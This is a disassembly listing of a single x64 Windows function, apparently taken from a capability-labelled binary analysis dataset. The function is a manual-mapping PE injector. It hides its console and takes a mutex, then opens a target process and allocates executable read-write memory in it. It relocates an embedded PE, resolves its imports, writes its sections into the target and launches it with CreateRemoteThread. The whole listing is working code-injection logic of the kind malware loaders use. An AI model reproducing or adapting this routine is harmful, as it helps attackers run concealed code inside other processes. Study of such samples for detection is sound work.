Function at 0x140003e70
Capabilities:
Allocate or change rwx memory
Check mutex on windows
Create thread
Enumerate pe sections
Inject thread
Inspect section memory permissions
Parse pe header
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x180]
sub rsp, 0x280
mov rax, qword [0x14006e040]
xor rax, rsp
mov qword [rbp + 0x170], rax
xor r15d, r15d
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
lea r8, [0x140065a10]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [0x1400f70e0], rax
lea edx, [r15 + 1]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, 0xffffff7f
jne 0x140004fa6
xorps xmm0, xmm0
movups xmmword [rbp + 0x18], xmm0
mov ecx, 0x208
call fcn.140008434
mov rdi, rax
mov qword [rbp + 0x18], rax
lea rbx, [rax + 0x208]
mov qword [rbp + 0x28], rbx
xor edx, edx
mov r8d, 0x208
mov rcx, rax
call fcn.140056a00
mov qword [rbp + 0x20], rbx
mov r8d, 0x104
mov rdx, rdi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov r8d, eax
lea r8, [rdi + r8*2]
mov rdx, rdi
lea rcx, [rbp - 0x40]
call fcn.140007140
nop
test rdi, rdi
je 0x140003f5b
mov edx, 0x208
mov rcx, rdi
call fcn.140008400
nop
lea rdx, [rbp - 0x40]
lea rcx, [rbp - 0x20]
call fcn.140002830
mov rbx, rax
mov rdi, rax
cmp qword [rax + 0x18], 0xf
jbe 0x140003f78
mov rdi, qword [rax]
mov r8, qword [rax + 0x10]
cmp r8, 1
jb 0x140003fce
lea rsi, [r8 + rdi]
mov edx, 0x3a
mov rcx, rdi
call fcn.140057440
mov rcx, rax
test rax, rax
je 0x140003fce
nop dword [rax + rax]
cmp byte [rcx], 0x3a
jne 0x140003faa
mov eax, r15d
jmp 0x140003faf
sbb eax, eax
or eax, 1
test eax, eax
je 0x14000402f
inc rcx
mov r8, rsi
sub r8, rcx
mov edx, 0x3a
call fcn.140057440
mov rcx, rax
test rax, rax
jne 0x140003fa0
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
xor r8d, r8d
lea rdx, [0x14006562e]
lea rcx, [rsp + 0x50]
call fcn.1400073d0
nop
mov rcx, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x68]
mov rax, rdx
sub rax, rcx
cmp rax, 1
jb 0x140004065
lea rax, [rcx + 1]
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x50]
cmp rdx, 0xf
cmova rax, qword [rsp + 0x50]
mov word [rax + rcx], 0x5c
lea rax, [rsp + 0x50]
jmp 0x140004086
sub rcx, rdi
cmp rcx, 0xffffffffffffffff
je 0x140003fce
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
lea r8, [rcx + 1]
cmp qword [rbx + 0x10], r8
cmovb r8, qword [rbx + 0x10]
cmp qword [rbx + 0x18], 0xf
jbe 0x140004060
mov rbx, qword [rbx]
mov rdx, rbx
jmp 0x140003fe9
mov qword [rsp + 0x20], 1
lea r9, [0x140065a24]
xor r8d, r8d
lea edx, [r8 + 1]
lea rcx, [rsp + 0x50]
call fcn.1400075d0
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x70], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x70], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea r9, [0x1400f7238]
cmp qword [0x1400f7250], 0xf
cmova r9, qword [0x1400f7238]
mov rdi, qword [0x1400f7248]
mov rcx, qword [rbp - 0x70]
mov rdx, qword [rbp - 0x68]
mov rax, rdx
sub rax, rcx
cmp rdi, rax
ja 0x140004114
lea rax, [rcx + rdi]
mov qword [rbp - 0x70], rax
lea rbx, [rbp - 0x80]
cmp rdx, 0xf
cmova rbx, qword [rbp - 0x80]
add rbx, rcx
mov r8, rdi
mov rdx, r9
mov rcx, rbx
call fcn.140056dc0
mov byte [rdi + rbx], 0
lea rax, [rbp - 0x80]
jmp 0x140004128
mov qword [rsp + 0x20], rdi
xor r8d, r8d
mov rdx, rdi
lea rcx, [rbp - 0x80]
call fcn.1400075d0
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x50], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x50], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [rbp - 0x60]
lea rcx, [rbp + 0x38]
call fcn.1400026d0
nop
mov rdx, qword [rbp - 0x48]
cmp rdx, 0xf
jbe 0x14000419e
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004199
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400050fc
call fcn.140008400
movdqa xmm0, xmmword [0x1400660e0]
movdqu xmmword [rbp - 0x50], xmm0
mov byte [rbp - 0x60], 0
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x1400041ea
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400041e5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005102
call fcn.140008400
movdqa xmm0, xmmword [0x1400660e0]
movdqu xmmword [rbp - 0x70], xmm0
mov byte [rbp - 0x80], 0
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x140004238
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004233
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005108
call fcn.140008400
movdqa xmm0, xmmword [0x1400660e0]
movdqu xmmword [rsp + 0x60], xmm0
mov byte [rsp + 0x50], 0
mov rdx, qword [rbp - 8]
cmp rdx, 0xf
jbe 0x140004286
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004281
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000510e
call fcn.140008400
movdqa xmm0, xmmword [0x1400660e0]
movdqu xmmword [rbp - 0x10], xmm0
mov byte [rbp - 0x20], 0
mov rdx, qword [rbp - 0x28]
cmp rdx, 7
jbe 0x1400042d7
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400042d2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005114
call fcn.140008400
movdqa xmm0, xmmword [0x1400660d0]
movdqu xmmword [rbp - 0x30], xmm0
mov word [rbp - 0x40], r15w
lea r8, [rbp + 0x38]
cmp qword [rbp + 0x50], 7
cmova r8, qword [rbp + 0x38]
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], r15
mov rbx, 0xffffffffffffffff
mov r9d, ebx
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
movsxd rsi, eax
mov rcx, rsi
test eax, eax
je 0x140004391
lea edx, [rbx + 2]
call fcn.14003a1ec
mov rdi, rax
lea r8, [rbp + 0x38]
cmp qword [rbp + 0x50], 7
cmova r8, qword [rbp + 0x38]
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rax
mov r9d, ebx
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
test eax, eax
jle 0x140004391
xorps xmm0, xmm0
movups xmmword [rbp + 0x18], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x28], xmm1
nop dword [rax + rax]
inc rbx
cmp byte [rdi + rbx], 0
jne 0x140004380
mov r8, rbx
mov rdx, rdi
jmp 0x1400043aa
xorps xmm0, xmm0
movups xmmword [rbp + 0x18], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x28], xmm1
xor r8d, r8d
lea rdx, [0x14006562e]
lea rcx, [rbp + 0x18]
call fcn.1400073d0
nop
lea rcx, [rbp + 0x18]
call fcn.140002a50
mov ebx, eax
mov rdx, qword [rbp + 0x30]
cmp rdx, 0xf
jbe 0x1400043fa
inc rdx
mov rcx, qword [rbp + 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400043f5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400050f0
call fcn.140008400
cmp ebx, 0xffffffff
je 0x140004424
lea rdx, [0x1400f7218]
lea rcx, [rbp + 0x18]
call fcn.140002830
mov rcx, rax
call fcn.140003110
test al, al
jne 0x140004424
lea rdx, [rbp + 0x38]
call fcn.140003500
call fcn.140002230
mov ebx, eax
mov eax, 0x5a4d
cmp word [0x14006ecc0], ax
je 0x14000444c
lea rdx, str.invalid_DOS_signature
lea rcx, str.Invalid_or_unsupported_PE_file___s_n
jmp 0x1400050a6
movsxd r14, dword [0x14006ecfc]
lea r12, [0x14006ecc0]
add r14, r12
cmp dword [r14], 0x4550
je 0x140004479
lea rdx, str.invalid_NT_signature
lea rcx, str.Invalid_or_unsupported_PE_file___s_n
jmp 0x1400050a6
movzx eax, word [r14 + 0x18]
mov ecx, 0x20b
cmp ax, cx
je 0x1400044b6
mov ecx, 0x10b
cmp ax, cx
je 0x1400044a5
lea rdx, str.invalid_or_unsupported_magic
lea rcx, str.Invalid_or_unsupported_PE_file___s_n
jmp 0x1400050a6
lea rcx, str.Use_the_x32_binary_to_handle_this_x32_PE_n
call fcn.140001d30
jmp 0x1400050ac
lea rcx, str.The_PE_is_x64_executable_n
call fcn.140001c60
mov r8d, ebx
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
mov qword [rsp + 0x78], rax
test rax, rax
jne 0x140004534
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0x104
lea rbx, [0x1400f70f0]
mov qword [rsp + 0x20], rbx
mov r9d, 0x400
mov r8d, eax
xor edx, edx
mov ecx, 0x1200
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
test eax, eax
jne 0x140004528
mov edx, edi
lea rcx, str.Error_at_getting_the_last_error_format_of_code_0x_lx_n
call fcn.140001d30
lea rcx, str.Error_at_OpenProcess__code_msg___s
jmp 0x1400050a3
mov rdx, rdi
lea rcx, str.Target_process_opened_with_handle_0x_llx_n
call fcn.140001b90
mov dword [rbp + 8], r15d
mov qword [rbp], r15
lea rax, [rbp + 8]
mov qword [rsp + 0x20], rax
mov r9d, 8
lea r8, [rbp]
lea edx, [r9 + 0x12]
mov rcx, rdi
call qword [sym.imp.ntdll.dll_NtQueryInformationProcess]
mov esi, eax
test eax, eax
jne 0x140005032
cmp dword [rbp + 8], 8
jne 0x140005032
cmp qword [rbp], 0
je 0x1400045a3
lea rcx, str.Target_process_is_x32_process_running_on_x64_system_n
call fcn.140001c60
lea rcx, str.Use_the_x32_binary_to_handle_this_x32_process_n
call fcn.140001d30
jmp 0x1400050ac
lea rcx, str.Target_process_is_x64_process_running_on_x64_system_n
call fcn.140001c60
mov r13, qword [r14 + 0x30]
mov r8d, dword [r14 + 0x50]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov rdx, r13
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rbx, rax
mov qword [rsp + 0x70], rax
test rax, rax
je 0x1400045f5
mov rdx, rax
lea rcx, str.Allocated_memory_for_the_PE_at_the_remote_process_at_address__0x_llx__no_relocation_is_needed_n
call fcn.140001b90
test eax, eax
jne 0x140004690
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x1e7
jne 0x14000462c
mov r8d, dword [r14 + 0x50]
mov dword [rsp + 0x20], 0x40
xor edx, edx
mov r9d, 0x3000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rbx, rax
mov qword [rsp + 0x70], rax
test rax, rax
jne 0x140004681
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0x104
lea rbx, [0x1400f70f0]
mov qword [rsp + 0x20], rbx
mov r9d, 0x400
mov r8d, eax
xor edx, edx
mov ecx, 0x1200
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
test eax, eax
jne 0x140004675
mov edx, edi
lea rcx, str.Error_at_getting_the_last_error_format_of_code_0x_lx_n
call fcn.140001d30
lea rcx, str.Error_at_VirtualAllocEx__code_msg___s
jmp 0x1400050a3
mov rdx, rbx
lea rcx, str.Allocated_memory_for_the_PE_at_the_remote_process_at_address__0x_llx__relocation_is_needed_n
call fcn.140001b90
cmp r13, rbx
je 0x140004859
test byte [r14 + 0x16], 1
je 0x1400046b1
lea rcx, str.Cannot_relocate_the_PE_because_the_relocation_table_is_stripped_n
call fcn.140001d30
jmp 0x1400050ac
mov qword [r14 + 0x30], rbx
mov rdx, rbx
lea rcx, str.PE_base_relocated_to_0x_llx_n
call fcn.140001b90
mov r10d, dword [r14 + 0xb0]
movzx edx, word [r14 + 0x14]
add rdx, 0x18
add rdx, r14
mov r9d, r15d
movzx r11d, word [r14 + 6]
cmp r15w, r11w
jae 0x140004709
mov r8d, dword [rdx + 0xc]
cmp r10d, r8d
jb 0x1400046fd
mov ecx, dword [rdx + 8]
add ecx, r8d
cmp r10d, ecx
jb 0x140004799
inc r9d
add rdx, 0x28
cmp r9d, r11d
jb 0x1400046e5
mov eax, r15d
mov ecx, dword [r14 + 0xb4]
mov dword [rsp + 0x40], ecx
add rax, r12
mov qword [rsp + 0x48], rax
mov r12d, r15d
test ecx, ecx
je 0x140004859
mov r9d, 0xfff
xor r8d, r8d
nop dword [rax]
nop word [rax + rax]
mov r15d, r12d
add r15, rax
lea rdi, [r15 + 8]
mov esi, dword [r15 + 4]
sub rsi, 8
shr rsi, 1
mov ebx, r8d
test esi, esi
je 0x140004844
movzx ecx, word [rdi]
movzx eax, cx
shr ax, 0xc
movzx edx, cx
and dx, r9w
cmp ax, 3
je 0x1400047a7
cmp ax, 0xa
je 0x1400047a7
test cx, cx
je 0x14000482d
lea rdx, str.unsupported_pe_relocation
lea rcx, str.Invalid_or_unsupported_PE_file___s_n
jmp 0x1400050a6
mov eax, dword [rdx + 0x14]
sub eax, r8d
add eax, r10d
jmp 0x14000470c
movzx r10d, dx
add r10d, dword [r15]
movzx edx, word [r14 + 0x14]
add rdx, 0x18
add rdx, r14
mov r9d, r8d
movzx r11d, word [r14 + 6]
cmp r8w, r11w
jae 0x1400047f7
nop dword [rax + rax]
mov r8d, dword [rdx + 0xc]
cmp r10d, r8d
jb 0x1400047e8
mov ecx, dword [rdx + 8]
add ecx, r8d
cmp r10d, ecx
jb 0x14000496c
inc r9d
add rdx, 0x28
cmp r9d, r11d
jb 0x1400047d0
xor r8d, r8d
mov eax, r8d
lea rcx, [0x14006ecc0]
add rcx, rax
mov rdx, qword [rcx]
mov rax, rdx
sub rax, r13
mov r8, qword [rsp + 0x70]
add r8, rax
mov qword [rcx], r8
lea rcx, str.Address_relocated_from_0x_llx_to_0x_llx_n
call fcn.140001b90
xor r8d, r8d
mov r9d, 0xfff
inc ebx
add rdi, 2
cmp ebx, esi
jb 0x140004760
mov rax, qword [rsp + 0x48]
mov ecx, dword [rsp + 0x40]
add r12d, dword [r15 + 4]
cmp r12d, ecx
jb 0x140004740
mov rdi, qword [rsp + 0x78]
xor r15d, r15d
mov r10d, dword [r14 + 0x90]
movzx edx, word [r14 + 0x14]
add rdx, 0x18
add rdx, r14
mov r9d, r15d
movzx r11d, word [r14 + 6]
cmp r15w, r11w
jae 0x1400048a4
nop word [rax + rax]
mov r8d, dword [rdx + 0xc]
cmp r10d, r8d
jb 0x140004898
mov ecx, dword [rdx + 8]
add ecx, r8d
cmp r10d, ecx
jb 0x14000497a
inc r9d
add rdx, 0x28
cmp r9d, r11d
jb 0x140004880
mov eax, r15d
mov r12d, eax
lea r13, [0x14006ecc0]
add r12, r13
mov qword [rsp + 0x48], r12
cmp dword [r12 + 0xc], 0
je 0x140004bf4
movabs rsi, 0xffffffff00000000
mov r10d, dword [r12 + 0xc]
movzx edx, word [r14 + 0x14]
add rdx, 0x18
add rdx, r14
mov r9d, r15d
movzx r11d, word [r14 + 6]
cmp r15w, r11w
jae 0x140004914
nop
mov r8d, dword [rdx + 0xc]
cmp r10d, r8d
jb 0x140004908
mov ecx, dword [rdx + 8]
add ecx, r8d
cmp r10d, ecx
jb 0x140004988
inc r9d
add rdx, 0x28
cmp r9d, r11d
jb 0x1400048f0
mov eax, r15d
mov ebx, eax
add rbx, r13
mov rdx, rbx
lea rcx, str.Handling_library__s_n
call fcn.140001c60
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r15, rax
test rax, rax
je 0x140004be3
mov rdx, rbx
mov rcx, rdi
call fcn.140001e00
test eax, eax
je 0x140004bd2
mov r13, r15
and r13, rsi
mov ecx, eax
add r13, rcx
cmp dword [r12 + 4], 0
je 0x140004993
mov r10d, dword [r12]
jmp 0x140004998
mov eax, dword [rdx + 0x14]
sub eax, r8d
add eax, r10d
jmp 0x1400047fa
mov eax, dword [rdx + 0x14]
sub eax, r8d
add eax, r10d
jmp 0x1400048a7
mov eax, dword [rdx + 0x14]
sub eax, r8d
add eax, r10d
jmp 0x140004917
mov r10d, dword [r12 + 0x10]
test r10d, r10d
je 0x140004bbf
movzx edx, word [r14 + 0x14]
add rdx, 0x18
add rdx, r14
xor ebx, ebx
mov r9d, ebx
movzx r11d, word [r14 + 6]
cmp bx, r11w
jae 0x1400049e4
nop dword [rax]
mov r8d, dword [rdx + 0xc]
cmp r10d, r8d
jb 0x1400049d8
mov ecx, dword [rdx + 8]
add ecx, r8d
cmp r10d, ecx
jb 0x140004a5e
inc r9d
add rdx, 0x28
cmp r9d, r11d
jb 0x1400049c0
lea rsi, [0x14006ecc0]
mov r10d, dword [r12 + 0x10]
movzx edx, word [r14 + 0x14]
add rdx, 0x18
add rdx, r14
mov r9d, ebx
mov edi, ebx
cmp bx, r11w
jae 0x140004a27
mov r8d, dword [rdx + 0xc]
cmp r10d, r8d
jb 0x140004a1b
mov ecx, dword [rdx + 8]
add ecx, r8d
cmp r10d, ecx
jb 0x140004a8c
inc r9d
add rdx, 0x28
cmp r9d, r11d
jb 0x140004a07
mov eax, ebx
mov rbx, qword [rsi]
test rbx, rbx
je 0x140004b29
mov r12d, eax
mov eax, edi
sub r12, rax
nop dword [rax]
xor edx, edx
mov r8d, 0x104
lea rcx, [rbp + 0x60]
call fcn.140056a00
test rbx, rbx
jns 0x140004a97
movzx edx, bx
jmp 0x140004ae6
mov edi, dword [rdx + 0x14]
sub edi, r8d
add edi, r10d
mov esi, edi
lea rax, [0x14006ecc0]
add rsi, rax
mov r10d, dword [r12 + 0x10]
movzx edx, word [r14 + 0x14]
add rdx, 0x18
add rdx, r14
mov r9d, ebx
jmp 0x140004a07
mov eax, dword [rdx + 0x14]
sub eax, r8d
add eax, r10d
jmp 0x140004a29
movzx eax, word [r14 + 0x14]
add rax, 0x18
add rax, r14
xor r11d, r11d
mov r9d, r11d
movzx r10d, word [r14 + 6]
cmp r11w, r10w
jae 0x140004ad7
mov r8d, dword [rax + 0xc]
cmp ebx, r8d
jb 0x140004acb
mov edx, dword [rax + 8]
add edx, r8d
cmp ebx, edx
jb 0x140004b5a
inc r9d
add rax, 0x28
cmp r9d, r10d
jb 0x140004ab4
mov ecx, r11d
mov edx, ecx
lea rax, [0x14006ecc2]
add rdx, rax
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
mov rbx, rax
je 0x140004b67
sub rbx, r15
add rbx, r13
lea r8, [rbp + 0x60]
mov rdx, rbx
lea rcx, str.Got_the_remote_address_of_the_api__0x_llx___s__n
call fcn.140001b90
mov qword [r12 + rsi], rbx
add rsi, 8
mov rbx, qword [rsi]
test rbx, rbx
jne 0x140004a40
mov r12, qword [rsp + 0x48]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
add r12, 0x14
mov qword [rsp + 0x48], r12
xor r15d, r15d
lea r13, [0x14006ecc0]
cmp dword [r12 + 0xc], r15d
je 0x140004bf4
mov rdi, qword [rsp + 0x78]
jmp 0x1400048c5
mov ecx, dword [rax + 0x14]
sub ecx, r8d
add ecx, ebx
jmp 0x140004ada
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
xor r13d, r13d
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], 0x104
lea rbx, [0x1400f70f0]
mov qword [rsp + 0x20], rbx
mov r9d, 0x400
mov r8d, eax
xor edx, edx
mov ecx, 0x1200
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
test eax, eax
jne 0x140004bb3
mov edx, edi
lea rcx, str.Error_at_getting_the_last_error_format_of_code_0x_lx_n
call fcn.140001d30
lea rcx, str.Error_at_GetProcAddress__code_msg___s
jmp 0x1400050a3
lea rdx, str.invalid_thunk_array
lea rcx, str.Invalid_or_unsupported_PE_file___s_n
jmp 0x1400050a6
lea rcx, str.Cannot_load_this_specific_dll_remotely_n
call fcn.140001d30
jmp 0x1400050ac
lea rcx, str.Cannot_load_this_specific_dll_locally_n
call fcn.140001d30
jmp 0x1400050ac
lea rcx, str.Writing_the_PE_image_the_new_base_n
call fcn.140001c60
mov qword [rbp + 0x10], r15
mov r9d, dword [r14 + 0x54]
lea rax, [rbp + 0x10]
mov qword [rsp + 0x20], rax
mov r8, r13
mov r15, qword [rsp + 0x70]
mov rdx, r15
mov r12, qword [rsp + 0x78]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140004fd8
mov eax, dword [r14 + 0x54]
cmp qword [rbp + 0x10], rax
jne 0x140004fd8
xor r13d, r13d
mov dword [rbp + 0xc], r13d
mov r8d, dword [r14 + 0x54]
lea rax, [rbp + 0xc]
mov qword [rsp + 0x20], rax
lea r9d, [r13 + 2]
mov rdx, r15
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
jne 0x140004cbd
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], 0x104
lea rbx, [0x1400f70f0]
mov qword [rsp + 0x20], rbx
mov r9d, 0x400
mov r8d, eax
xor edx, edx
mov ecx, 0x1200
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
test eax, eax
jne 0x140004cb1
mov edx, edi
lea rcx, str.Error_at_getting_the_last_error_format_of_code_0x_lx_n
call fcn.140001d30
lea rcx, str.Error_at_VirtualProtectEx__code_msg___s
jmp 0x1400050a3
lea r8, str.PAGE_READONLY
mov rdx, r15
lea rcx, str.Headers_written_at_0x_llx__with_protection__s_n
call fcn.140001b90
movsxd rdi, dword [0x14006ecfc]
lea rax, [0x14006edc8]
add rdi, rax
mov esi, r13d
cmp r13w, word [r14 + 6]
jae 0x140004e6e
nop dword [rax]
nop word [rax + rax]
mov r9d, dword [rdi + 0x10]
mov r8d, dword [rdi + 0x14]
lea rax, [0x14006ecc0]
add r8, rax
mov edx, dword [rdi + 0xc]
add rdx, r15
lea rax, [rbp + 0x10]
mov qword [rsp + 0x20], rax
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140004ef0
mov eax, dword [rdi + 0x10]
cmp qword [rbp + 0x10], rax
jne 0x140004ef0
movzx eax, word [r14 + 6]
dec eax
cmp esi, eax
jne 0x140004d50
mov edx, dword [r14 + 0x50]
jmp 0x140004d53
mov edx, dword [rdi + 0x34]
sub edx, dword [rdi + 0xc]
mov r10d, dword [rdi + 0xc]
mov ecx, dword [rdi + 0x24]
mov eax, ecx
and eax, 0xe0000000
cmp eax, 0xe0000000
jne 0x140004d7d
mov r9d, 0x40
lea rbx, str.PAGE_EXECUTE_READWRITE
jmp 0x140004e21
mov eax, ecx
and eax, 0x60000000
cmp eax, 0x60000000
jne 0x140004d9d
mov r9d, 0x20
lea rbx, str.PAGE_EXECUTE_READ
jmp 0x140004e21
mov eax, ecx
and eax, 0xa0000000
cmp eax, 0xa0000000
jne 0x140004dba
mov r9d, 0x80
lea rbx, str.PAGE_EXECUTE_WRITECOPY
jmp 0x140004e21
mov eax, ecx
and eax, 0xc0000000
cmp eax, 0xc0000000
jne 0x140004dd7
mov r9d, 4
lea rbx, str.PAGE_READWRITE
jmp 0x140004e21
bt ecx, 0x1d
jae 0x140004dec
mov r9d, 0x10
lea rbx, str.PAGE_EXECUTE
jmp 0x140004e21
bt ecx, 0x1e
jae 0x140004e01
mov r9d, 2
lea rbx, str.PAGE_READONLY
jmp 0x140004e21
test ecx, ecx
jns 0x140004e14
mov r9d, 8
lea rbx, str.PAGE_WRITECOPY
jmp 0x140004e21
mov r9d, 1
lea rbx, str.PAGE_NOACCESS
mov r8d, edx
lea rdx, [r15 + r10]
lea rax, [rbp + 0xc]
mov qword [rsp + 0x20], rax
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
je 0x140004c68
mov r8d, dword [rdi + 0xc]
add r8, r15
mov r9, rbx
mov rdx, rdi
lea rcx, str.Section__s_written_at_0x_llx__with_protection__s_n
call fcn.140001b90
inc esi
add rdi, 0x28
movzx eax, word [r14 + 6]
cmp esi, eax
jb 0x140004d00
mov r9d, dword [r14 + 0x28]
add r9, r15
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], r13
xor r8d, r8d
xor edx, edx
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test rax, rax
jne 0x140004f45
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], 0x104
lea rbx, [0x1400f70f0]
mov qword [rsp + 0x20], rbx
mov r9d, 0x400
mov r8d, eax
xor edx, edx
mov ecx, 0x1200
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
test eax, eax
jne 0x140004ee4
mov edx, edi
lea rcx, str.Error_at_getting_the_last_error_format_of_code_0x_lx_n
call fcn.140001d30
lea rcx, str.Error_at_CreateRemoteThread__code_msg___s
jmp 0x1400050a3
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], 0x104
lea rbx, [0x1400f70f0]
mov qword [rsp + 0x20], rbx
mov r9d, 0x400
mov r8d, eax
xor edx, edx
mov ecx, 0x1200
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
test eax, eax
jne 0x140004f39
mov edx, edi
lea rcx, str.Error_at_getting_the_last_error_format_of_code_0x_lx_n
call fcn.140001d30
lea rcx, str.Error_at_WriteProcessMemory__code_msg___s
jmp 0x1400050a3
mov edx, dword [r14 + 0x28]
add rdx, r15
lea rcx, str.A_new_thread_created_at_the_entry_point_0x_llx_n
call fcn.140001b90
mov rcx, qword [0x1400f70e0]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
nop
mov rdx, qword [rbp + 0x50]
cmp rdx, 7
jbe 0x140004fa6
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004fa1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400050f6
call fcn.140008400
xor eax, eax
mov rcx, qword [rbp + 0x170]
xor rcx, rsp
call fcn.1400083e0
lea r11, [rsp + 0x280]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov edi, eax
xor r13d, r13d
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], 0x104
lea rbx, [0x1400f70f0]
mov qword [rsp + 0x20], rbx
mov r9d, 0x400
mov r8d, eax
xor edx, edx
mov ecx, 0x1200
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
test eax, eax
jne 0x140004f39
mov edx, edi
lea rcx, str.Error_at_getting_the_last_error_format_of_code_0x_lx_n
call fcn.140001d30
lea rcx, str.Error_at_WriteProcessMemory__code_msg___s
jmp 0x1400050a3
mov ecx, esi
